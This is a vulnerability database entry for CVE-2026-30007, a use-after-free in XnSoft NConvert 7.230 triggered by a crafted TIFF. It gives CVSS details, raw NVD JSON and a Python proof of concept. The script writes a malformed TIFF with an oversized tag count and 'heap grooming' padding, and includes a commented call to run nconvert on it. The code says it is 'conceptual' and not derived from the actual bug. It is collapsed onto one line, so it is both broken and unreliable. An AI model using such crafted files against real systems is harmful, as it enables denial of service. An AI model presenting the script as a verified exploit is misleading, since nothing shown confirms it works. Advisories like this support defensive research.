Security Vulnerability Report
中文
CVE-2026-30007 CVSS 6.2 MEDIUM

CVE-2026-30007

Published: 2026-03-23 17:16:49
Last Modified: 2026-03-26 15:30:13

Description

XnSoft NConvert 7.230 is vulnerable to Use-After-Free via a crafted .tiff file

CVSS Details

CVSS Score
6.2
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:xnview:nconvert:7.230:*:*:*:*:*:*:* - VULNERABLE
XnSoft NConvert 7.230

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import os import struct # PoC to generate a malformed TIFF file that triggers Use-After-Free # This is a conceptual PoC based on the vulnerability description. def generate_poc_tiff(filename): with open(filename, 'wb') as f: # TIFF Header (Little Endian) # Byte order: II (0x4949) f.write(struct.pack('<H', 0x4949)) # Version: 42 f.write(struct.pack('<H', 0x002A)) # Offset to first IFD (Image File Directory) # Pointing to offset 8 for simplicity f.write(struct.pack('<I', 8)) # Malformed IFD to trigger parsing logic errors # Number of directory entries f.write(struct.pack('<H', 1)) # Directory Entry Tag (Example: BitsPerSample) f.write(struct.pack('<H', 0x0102)) # Type (SHORT) f.write(struct.pack('<H', 0x0003)) # Count (Large number to potentially cause overflow or bad allocation) f.write(struct.pack('<I', 0xFFFFFFFF)) # Value/Offset f.write(struct.pack('<I', 0x00000000)) # Next IFD offset (0 = end of chain) f.write(struct.pack('<I', 0x00000000)) # Padding junk data often helps in heap grooming f.write(b'A' * 100) if __name__ == "__main__": poc_file = "crash_poc.tiff" generate_poc_tiff(poc_file) # Execute NConvert with the PoC file (Path needs to be adjusted) # os.system(f"nconvert {poc_file}") print(f"PoC file generated: {poc_file}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-30007", "sourceIdentifier": "[email protected]", "published": "2026-03-23T17:16:49.083", "lastModified": "2026-03-26T15:30:13.473", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "XnSoft NConvert 7.230 is vulnerable to Use-After-Free via a crafted .tiff file"}, {"lang": "es", "value": "XnSoft NConvert 7.230 es vulnerable a uso después de liberación a través de un archivo .tiff manipulado."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:xnview:nconvert:7.230:*:*:*:*:*:*:*", "matchCriteriaId": "30064642-A265-4EC4-A5A1-C4A099E7FF26"}]}]}], "references": [{"url": "https://github.com/PassMoon/Nconvert_Vul_7.230", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.xnview.com/en/nconvert/", "source": "[email protected]", "tags": ["Product"]}]}}